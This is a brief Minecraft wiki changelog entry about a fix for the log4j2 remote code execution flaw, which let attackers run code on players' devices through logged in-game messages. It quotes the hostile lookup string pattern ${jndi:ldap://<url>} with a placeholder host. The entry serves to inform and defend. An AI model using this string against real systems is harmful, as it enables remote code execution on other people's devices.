Minecraft wiki entry for Development_versions, associated text: Fixed a critical security issue in which attackers are able to execute code on others' devices (RCE exploit) via in-game messaging or other methods where the game logs a certain exploitable string formatted as ${jndi:ldap://<url>}, due to an upstream vulnerability in log4j2.[4][5][6]